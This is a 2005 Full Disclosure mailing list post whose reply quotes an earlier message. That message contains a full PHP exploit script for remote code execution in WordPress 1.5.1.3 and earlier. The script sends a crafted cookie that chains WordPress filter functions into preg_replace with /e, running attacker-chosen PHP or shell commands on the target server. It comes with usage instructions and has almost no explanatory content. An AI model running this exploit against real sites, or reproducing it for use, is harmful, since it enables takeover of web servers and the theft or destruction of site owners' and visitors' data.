Full Disclosure mailing list archives

Re: (no subject)


From: "KF (lists)" <kf_lists () digitalmunition com>
Date: Tue, 09 Aug 2005 12:13:38 -0400

Maybe next I can enjoy a subject line?
-KF


kartoffelguru () hush com wrote:

now enjoy as attachment...
------------------------------------------------------------------------

<?php
   echo "Wordpress <= 1.5.1.3 - remote code execution 0-DDAAYY exploit\n";
   echo "(C) Copyright 2005 Kartoffelguru\n\n";
   echo "[!] info: requires register_globals turned on on target host\n\n";
   if (!extension_loaded('curl')) {
       die ("[-] you need the curl extension activated...\n");
   }

   function usage()
   {
       die ("usage:\n\t./wpx.php -h http://www.xyz.net/blog/ -c 'system(\"uname -a;id\");'\n\n");
   }

   $options = getopt("h:c:");
   if (count($options) < 1 || !isset($options['h'])) {
       usage();
   }

   $host = (is_array($options['h']) ? $options['h'][0]:$options['h']);
   $cmd  = (is_array($options['c']) ? $options['c'][0]:$options['c']);

   if (!preg_match("/^http:\/\//", $host, $dummy)) {
       usage();
   }

   if (strlen(trim($cmd))==0) {
       $cmd = 'phpinfo();';
   }

   $code = base64_encode($cmd);
   $cnv = "";
   for ($i=0;$i<strlen($code); $i++) {
       $cnv.= "chr(".ord($code[$i]).").";
   }
   $cnv.="chr(32)";

   $str = base64_encode('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x');

   $cookie='wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;';
   $cookie.='wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;';
   $cookie.='cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=';
   $cookie.=$str;
   $cookie.=';wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;';
   $cookie.='wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;';
   $cookie.='wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;';

   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, $host);
   curl_setopt($ch, CURLOPT_POST, 0);
   curl_setopt($ch, CURLOPT_COOKIE, $cookie);
   curl_setopt($ch, CURLOPT_HEADER, 0);
   curl_setopt($ch, CURLOPT_CURLOPT_REFERER, $host);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
   curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
   echo "[+] now executing\n\n";

   $r = curl_exec($ch);
   curl_close($ch);

   echo $r;

?>

------------------------------------------------------------------------

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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


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